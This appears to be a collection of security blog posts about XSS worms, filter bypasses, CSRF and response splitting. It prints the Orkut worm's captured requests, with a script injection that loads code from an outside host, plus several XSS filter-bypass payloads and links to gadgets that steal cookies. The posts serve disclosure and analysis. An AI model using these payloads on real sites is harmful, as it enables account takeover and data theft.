Klaus over on Blackhatdomainer described on his blog the use of XSS in whois information to take over domains when people are researching your domain. Very cool stuff. I have a feeling there are also servers that may be vulnerable to SQL injection as well, but that’s probably much more difficult and dangerous to test. Dotster was apparently vulnerable to this, but we didn’t have a working PoC.

However, Thrill then posted an screenshot of this on one of the several domain registrars that we found to be vulnerable to this. So now we proof that this can be done. Of course the usefulness of this is probably limited to only a few sites, but sites which often take credit card information for payment processing of domains. Which, obviously, has some usefulness for phishing. Anyway, pretty interesting stuff!

Several people sent this to me over the last few days but for those of you who hadn’t seen it in the myriad of different places it showed up, Orkut was hacked using a XSS worm. Orkut is Google’s version of social networking. It was big for a while, but I think everyone bailed in favor of the more open MySpace and Facebook’s of the world. It’s still widely used by the Portuguese population though.

Rough estimates are north of 300,000 people compromised, even though it was caught relatively quickly. It’s amazing how fast these things grow in environments like that, where the medium for spreading is based on a technology that almost everyone uses and works across platform. I think the only thing stopping this from being more virulent is making it cross platform, and making the social engineering a little more seamless.

Here are the POST requests sent in by Lavakumar:

POST request sent by the worm to add the victim to the “Infectados pelo Vírus do Orkut” community. The community id is “44001818″.

POST /CommunityJoin.aspx?cmm=44001818 HTTP/1.1
Host: www.orkut.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Referer: http://www.orkut.com/Scrapbook.aspx?uid=<-xxxxxxxxxxxxxxxxxxxx->
Cookie: -xxxxxxxxx-
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 98

POST_TOKEN=0B57493EBE09C74A3D69298F67635479&signature=Bm1YihIUAe5I%2BAvfFH7v4bjtdrI%3D&Action.join

——————————————————————————————————————————————————

POST request sent by the worm to submit itself to the scrapbook of the victim’s friends.

POST /Scrapbook.aspx HTTP/1.1
Host: www.orkut.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Referer: http://www.orkut.com/Scrapbook.aspx?uid=-xxxxxxxxx-
Cookie: -xxxxxxxxx-
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 146

Action.submit=1&POST_TOKEN=0B57493EBE09C74A3D69298F67635479&scrapText=2008%20vem%20ai…%20que%20ele%20comece%20mto%20bem%20para%20vc%3Cbr%2F%3E%5Bsilver%5DRL%20Wed%20Dec%2019%202007%2009%3A52%3A21%20GMT%2B0530%20(India%20Standard%20Time)%5B%2Fsilver%5D%3Cbr%2F%3E%3Cembed%20src%3D%22http%3A%2F%2Fwww.orkut.com%2FLoL.aspx%22%20type%3D%22application%2Fx-shockwave-flash%22%20wmode%3D%22transparent’)%3B%20script%3Ddocument.createElement(’script’)%3Bscript.src%3D’http%3A%2F%2Ffiles.myopera.com%2Fvirusdoorkut%2Ffiles%2Fvirus.js’%3Bdocument.getElementsByTagName(’head’)%5B0%5D.appendChild(script)%3Bescape(’%22%20%20width%3D%221%22%20height%3D%221%22%3E%3C%2Fembed%3E&signature=Bm1YihIUAe5I%2BAvfFH7v4bjtdrI%3D&toUserId=14668216

And the code can be found in many places around the net, but I also threw up a copy on the sla.ckers.org XSS worm section for anyone looking for example worm code. I’m trying to keep that section up to date with non-theoretical, but practical and real world worm code so we can all see it. Google has fixed this issue, but it is unclear what the fallout of the damage will be.

I’m always amazed at people who think that blocking alert() is actually an effective way to block cross site scripting. I’ve seen it myself, and it’s one of those things that never sounded right even the first time I saw it years ago. It sounds even less right, and here’s an email from a friend of mine, Jon McClintock:

I just got a nice XSS “win” that I thought I’d share with you. The app had an odd filter that would block JS calls to the alert() method.

So this (invalid JS) input got in:

";alert"xss";

But this didn’t:

";alert("xss");

The usual whitespace and comment tricks didn’t work either, and other useful methods, such as eval, were also blocked. So what do you do? Function pointer, of course:

";var foo=alert;foo("xss");

That’s a great example - pointing to functions, but what about things like confirm(), or prompt()? Sure, maybe all those are blocked too, but come on…. it’s time to start addressing the problem, rather than trying to block one of the hundreds of ways someone can initiate the attack. Anyway, great example!

Arian Evans pointed me to an interesting article over at Security Focus discussing how 25,000 machines were compromised specifically to launch the ANI MS cursor exploit. There are a few interesting parts to this. The first is that it appears that the Dolphin’s stadium hack a while back was not unique - it was just part of this larger attack. The second is that SQL injection was the most likely culprit for the large scale compromise.

I know we’ve all thought about it, but for some reason this one is hitting a little more than others. Partially because I think we all like to think we are unique and every hack needs to be forensically important. Think about if you were running the Miami Dolphins and you were to see this happen to your site. You’d want answers, and you’d want them now. And then after spending countless hours and tons of resources you’d find that the answer is you were just one hack of 25,000. The Dolphins had an interesting website but it was actually insignificant in the grand scheme of the attack.

It’s an interesting thought to think that one attack compromised 25,000 websites, which in turn could have compromised potentially hundreds of thousands or even millions of remote machines via the ANI payload through XSS. And ultimately, the attackers are still at large. Pretty scary concept when you think about the low level of diversity in open source web applications, making them much more susceptible to attack. Maybe that tiny webapp hole isn’t so tiny after all.

To further illuminate the problems with Google Gadgets that Tom Stripling spoke about at the OWASP conference, I asked him to type up the details so that we could all take a look at it. I think this is a fairly thorough writeup. Obviously there is some more work to be done here, but ultimately, I think this proves the point:

First of all, here is the Google documentation on inlining, if you’re
interested:

http://www.google.com/intl/en/apis/gadgets/fundamentals.html#Inline

My original goal was to CSRF a module onto someone’s page, then run another CSRF attack that inlined it, and then go to town. Google has thwarted my early efforts, but I’m not convinced that it isn’t possible.

Google has a parameter called “_et” that is set to a random value and required on every change to the iGoogle page. Without this value, you can’t submit a valid request to load a module, so it prevents basic CSRF.

It turns out that the parameter also shows up on the gmodules.com domain for certain “approved” gadgets. So, I was going to steal this parameter with AJAX and use it force a module on someone’s page.

The initial attack would involve someone following a link to the page you identified that allows XSS on gmodules.com. A link like this:

http://gmodules.com/ig/creator?synd=open&url=http://3mu.us/g/csrf_load_evil.xml

This gadget (which is never meant to actually end up on someone’s page) loads an AJAX request to get the page for another (approved) gadget, steals the _et param and tries to submit a request to google.com that loads the gadget.

It doesn’t work. I had to cut off my testing in the middle because I realized I probably needed to create slides if I was going to present this stuff, but I did notice that the _et param I was stealing was different than the one on my iGoogle home page, so it may be that Google has thought of this and is preventing it by using different _et values for the different domains. It may also be that I have a bug in my JavaScript somewhere. I will be looking into this more as soon as I have time (but I have no idea when that will be).

So right now, I still can’t cross over from gmodules.com to google.com without user interaction. Still, the user interaction is pretty weak. They provide a preview page that will load a module with one click:

http://www.google.com/ig/adde?moduleurl=http://3mu.us/g/inline_cookie_theft.xml/

And then another click to inline the module. By the way, don’t load that on your real google account. It actually does send your cookies offsite. Feel free to download, play with, or publish any of these gadgets. Here’s another one that just does a basic phishing attack:

http://3mu.us/g/phishing.xml

That’s the basics of where I’ve gotten so far. I’ll keep you posted if I figure out that _et issue.

So yes, in theory, anything sensitive you have on Google is once again at risk. This is based off the original hole discussed where Google felt the hole was intended behavior. No apology needed, Google. Great work by Tom Stripling!

There’s two really interesting threads, one on pdp’s site and one on Bedford’s site about the use of Firefox’s jar: directive to inject bad content into other people’s site (if they have redirectors in them). Pretty nasty stuff. Turning off all non HTTP directives in Firefox is probably a good idea at this point, given the sheer number of holes that have been identified there.

But this is just another in a list of reasons why Google really does need to shut down these redirectors. Normally it just involves people losing their identities or abusing the trust relationship people have with the Google.com domain. This one can actually steal your information from Google. I’ve been pushing on them for three years now to fix them, and they still haven’t. Granted, this jar: post is really a browser issue and not a redirector issue on Google specifically, but why risk people’s safety when they only purpose for those redirectors is to track their users? I for one vote to shut the redirectors down. Anyway, very interesting articles by pdp and Bedford!

This is more amusing than anything but if you aren’t familiar with the term Rickroll you should read this first. Click on the link in the article at your own risk - it’s very very annoying. Basically it’s the same old link bomb fun that we have all come to know and love that stops the browser from closing by tons of alerts (I’ve never been sure why the webpage gets to control if the app closes or not). Anyway…

If you aren’t familiar with BeEF, Josh Abraham made a video of himself testing BeEF against himself. He shows how Rickrolls can be used against the user. We are assuming that at this point the attacker has already done everything they wanted to do against the user, and now they are content with annoying them with annoying web-pages. It’s a big video but it definitely shows the power of BeEF as an attack platform.

Some people think I’m paranoid - as if the world is out to get me. Honestly, I’ve always just thought I had a healthy dose of reality. As a result I’ve taken some pretty insane precautions with this site to protect it from itself and it’s owners (myself and id). Thankfully, that time was well spent. Although yesterday I realized it probably just wasn’t enough. Sirdarckcat and Kuza55 decided they wanted to own ha.ckers.org by defacing it. Alas, not only were they unsuccessful, but they were unsuccessful in several different ways. Here’s how it _should_ have worked.

Firstly they posted a relevant looking link to one of the posts with a link to a site that I wouldn’t recognize, to social engineer me into looking at it (http://ultimatehxr.googlepages.com/httpresponsespliting.html). Btw, thanks for hosting malicious content, Google - way to keep your site clean! Next, they pop open two iframes - one to the paper in question which is actually written by someone else, and the other to a site (http://www.x.se/xjcj) that performs a redirection to Sirdarckcat’s site (http://www.sirdarckcat.net/blah2.html).

Next, the wannabees attempt to use the CSS history attack to detect if I have posted to this site. In doing so (without JavaScript - thinking that I use NoScript for all my JavaScript protection) they pop open an iframe to my site: (http://ha.ckers.org/xss.swf?a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;) which is a vuln in NoScript. The “name” variable corresponds to a huge embedded payload. That payload contains a XMLHTTPRequest that automatically posts their content to this site, with an additional bonus of a tracking pixel so they can see that it worked. Yup, that’s how it should have worked. Nope, it didn’t.

While we have some pretty insanely good mechanisms for protecting this site ultimately we did have one hole, which was rectified by simply removing access to xss.swf - so if you used it for testing, I apologize, you can blame Sirdarckcat and Kuza55 for making your testing harder than it needs to be. I tried to provide access to tools, despite the additional personal burden of upkeep, but when they are abused I have to remove them.

So now the real question is what should I do about it? I went from being pissed off, to dumbfounded and back again. I decided not to post this yesterday for a few reasons, but mostly to collect my thoughts, but I still haven’t come up with anything I’m particularly in love with. Clearly banning won’t work aside from IP bans, and nuking their existing accounts on sla.ckers, both of which they could easily evade, so I’m a little short on options.

Do I publically humiliate them? Do I remove all references to their pages everywhere on the site, since both of their sites should be considered malicious at this point? Do I post their docs? Do I test out the extradition treaties of Mexico and Australia (their respective countries)? Since they were doing it for credit do I show all the ways in which they were insanely sloppy (like building a site with my name on it for testing http://rsnakex.wordpress.com/)? Do I close up shop because my own readers are turning on me for no apparent reason (one of whom I had made a potential offer of a future position within my company - and no, that is no longer on the table)? I’m stumped. But one thing I do know - I’m not wearing a tinfoil hat for nothing.

I traded a few emails with Titon (titon[at]bastardlabs.com) regarding the Expect XSS vulnerability in Flash against older versions of Apache. I hadn’t realized that Flash had cloesed down the Expect: header. It appears, however, that there is a way to resurrect that vulnerability. If you recall the old syntax it was:

req.addRequestHeader("Expect","<script>alert('XSS')</script>");

Well it appears that is now blocked in current versions of Flash. However, Triton found a way around that:

req.addRequestHeader("Expect:FooBar","<script>alert('XSS')</script>");

It appears it was doing some sort of pattern match or direct string comparison and by adding anything after the colon you can bypass the protection. Here is an example he created against SecurityFocus. So it looks like the vulnerability is back. It’s surprising how many sites are still vulnerable to this attack. So if you haven’t updated Apache and have any interest in security, you probably should. Nice work by Titon!

Update: Amit alerted me to one f the old papers on flash header injection. The paper came out a year ago. While I don’t think this is exactly the same since this is talking about the expect vuln, it is worthy of mentioning since it’s solved in almost an identical way.

So I’m back from the OWASP New Jersey meeting at Verizon. One word - wow. It was a lot different than I thought it would be. I’ve been to dozens of OWASP meetings, and they really vary. I think the smallest meeting I’ve been to was 10 people and now the biggest was the OWASP New Jersey meeting, run by Tom Brennan. The crowd was filled with suits (for once I felt like one of the least well dressed people in the room). Lots of people from local industry (telcom, healthcare, etc…) as well as various three letter agencies.

One thing that came up (that I had known about for a while, but for some reason it’s just not been made super public yet) was some of the work Arian Evans has been doing with HTTP Response splitting. When he started working with it he realized that he was inadvertantly taking out huge chunks of the site with his own content. After some debugging he realized he was hitting caching servers (a la Amit Klein’s work). But there are two nasty things about that that go above and beyond what we knew before.

The first is that it can re-write the caching headers, so that instead of a 5 minute time-out like you intended for your caching server to use, it can be upped to months or years, causing a much larger problem. The second is that is not a one to one, but a one to many relationship. That is, you can take over pages that are well beyond the reach that you normally have - including pages you don’t technically have access to, which can potentially give you access to anything under any user (ultimate persistent XSS). Super nasty! So yah, I wasn’t sure how quiet that was, but Arian finally let the cat out of the bag, so there it is.

So it was a really good conference all in all and definitely worth the hellish travel schedule to get out there. It’ll probably be smaller than the global OWASP meeting in November, of course, but for a simple regional meeting it was really impressive. I also hear rumors of a World CON in New York City next year. I for one, am looking forward to it.

Update: I should go back and read all the old Amit papers. He came up with all of this stuff years ago. Is there anything that guy hasn’t done? His two papers are here and here.